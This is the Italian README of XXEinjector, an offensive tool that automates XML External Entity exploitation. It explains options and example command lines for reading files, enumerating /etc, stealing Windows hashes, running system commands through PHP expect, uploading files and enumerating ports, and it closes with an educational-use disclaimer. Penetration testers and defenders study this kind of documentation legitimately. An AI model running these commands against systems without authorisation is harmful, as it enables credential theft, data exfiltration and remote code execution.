
Strumento per lo sfruttamento automatico della vulnerabilità XXE utilizzando metodi diretti e diversi metodi out-of-band.
XXEinjector automatizza il recupero di file utilizzando metodi diretti e out of band. La scansione delle directory funziona solo nelle applicazioni Java. Il metodo di brute-forcing deve essere utilizzato per altre applicazioni.
--host Obbligatorio - il nostro indirizzo IP per connessioni reverse. (--host=192.168.0.2)
--file Obbligatorio - file contenente una richiesta HTTP valida con xml. Puoi anche contrassegnare con "XXEINJECT" un punto in cui iniettare il DTD. (--file=/tmp/req.txt)
--path Obbligatorio se si enumerano le directory - Percorso da enumerare. (--path=/etc)
--brute Obbligatorio se si effettua brute-forcing di file - File con percorsi da forzare con brute-force. (--brute=/tmp/brute.txt)
--logger Registra solo i risultati. Non invia richieste. Il logger HTTP cerca il parametro "p" con i risultati.
--rhost Indirizzo IP o nome di dominio dell'host remoto. Usa questo argomento solo per richieste senza header Host. (--rhost=192.168.0.3)
--rport Porta TCP dell'host remoto. Usa questo argomento solo per richieste senza header Host e per valori non predefiniti. (--rport=8080)
--oob Metodo di sfruttamento Out of Band. FTP è predefinito. FTP può essere utilizzato in qualsiasi applicazione. HTTP può essere utilizzato per brute-forcing e enumerazione tramite scansione delle directory in applicazioni Java < 1.7. Gopher può essere utilizzato solo in applicazioni Java < 1.7. (--oob=http/ftp/gopher)
--direct Usa lo sfruttamento diretto invece di out of band. Un marcatore univoco deve essere specificato come valore per questo argomento. Questo marcatore specifica dove iniziano e finiscono i risultati dell'XXE. Specifica --direct-xml per vedere come dovrebbe apparire l'XML nel file di richiesta o --localdtd-xml se vuoi usare un DTD locale durante lo sfruttamento. In caso di problemi con i marcatori di inizio e fine quando sono presenti caratteri speciali nella risposta prima o dopo i dati di output, usa l'opzione match and replace di Burp Proxy per sostituirli. (--direct=UNIQUEMARKSTART,UNIQUEMARKEND)
--cdata Migliora lo sfruttamento diretto con CDATA. I dati vengono recuperati direttamente, tuttavia OOB viene utilizzato per costruire il payload CDATA. Specifica --cdata-xml per vedere come dovrebbe apparire la richiesta in questa tecnica.
--2ndfile File contenente una richiesta HTTP valida utilizzata nello sfruttamento di secondo ordine. (--2ndfile=/tmp/2ndreq.txt)
--phpfilter Usa il filtro PHP per codificare in base64 il file di destinazione prima dell'invio.
--netdoc Usa il protocollo netdoc invece di file (Java).
--enumports Enumera le porte non filtrate per la connessione reverse. Specifica il valore "all" per enumerare tutte le porte TCP. (--enumports=21,22,80,443,445)
--hashes Recupera l'hash Windows dell'utente che esegue l'applicazione.
--expect Usa l'estensione PHP expect per eseguire comandi di sistema arbitrari. Funziona meglio con HTTP e filtro PHP. (--expect=ls)
--upload Carica il file specificato utilizzando lo schema Java jar in un file temporaneo. (--upload=/tmp/upload.txt)
--xslt Testa per l'iniezione XSLT.
--ssl Usa SSL.
--proxy Proxy da utilizzare. (--proxy=127.0.0.1:8080)
--httpport Imposta una porta HTTP personalizzata. (--httpport=80)
--ftpport Imposta una porta FTP personalizzata. (--ftpport=21)
--gopherport Imposta una porta gopher personalizzata. (--gopherport=70)
--jarport Imposta una porta personalizzata per il caricamento di file tramite jar. (--jarport=1337)
--xsltport Imposta una porta personalizzata per il test di iniezione XSLT. (--xsltport=1337)
--test Questa modalità mostra la richiesta con il payload iniettato e termina. Usata per verificare la correttezza della richiesta senza inviarla a un server.
--urlencode Codifica URL del DTD iniettato. Questo è il valore predefinito per URI.
--nodtd Se vuoi inserire il DTD nella richiesta da solo. Specifica "--oob-xml" per mostrare come dovrebbe apparire il DTD.
--output File di output per la modalità brute-force e logger. Per impostazione predefinita registra in brute.log nella directory corrente. (--output=/tmp/out.txt)
--timeout Timeout per la ricezione del contenuto del file/directory. (--timeout=20)
--contimeout Timeout per la chiusura della connessione con il server. Usato per prevenire una condizione DoS. (--contimeout=20)
--fast Salta la richiesta di cosa enumerare. Soggetto a falsi positivi.
--verbose Mostra messaggi dettagliati.
Enumerating /etc directory in HTTPS application:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
Enumerating /etc directory using gopher for OOB method:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
Second order exploitation:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
Bruteforcing files using HTTP out of band method and netdoc protocol:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
Enumerating using direct exploitation:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARKSTART,UNIQUEMARKEND
Enumerating unfiltered ports:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
Stealing Windows hashes:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
Uploading files using Java jar:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
Executing system commands using PHP expect:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls
Testing for XSLT injection:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
Log requests only:
ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
Dichiarazione di non responsabilità
Questo repository contiene uno strumento sviluppato rigorosamente a scopo educativo. Qualsiasi uso improprio dello strumento per attività illegali è severamente vietato.
Avviso legale
È importante comprendere e rispettare tutte le leggi e normative locali relative alla sicurezza informatica e all'hacking etico. L'accesso non autorizzato a sistemi informatici, reti o dati è illegale e punibile per legge. Lo sviluppatore di questo repository non è responsabile per qualsiasi uso improprio degli strumenti qui contenuti.
Utilizzando gli strumenti in questo repository, accetti di usarli in modo responsabile ed etico. Ottieni sempre un'autorizzazione esplicita prima di testare o tentare di accedere a qualsiasi rete, sistema o dato che non ti appartiene.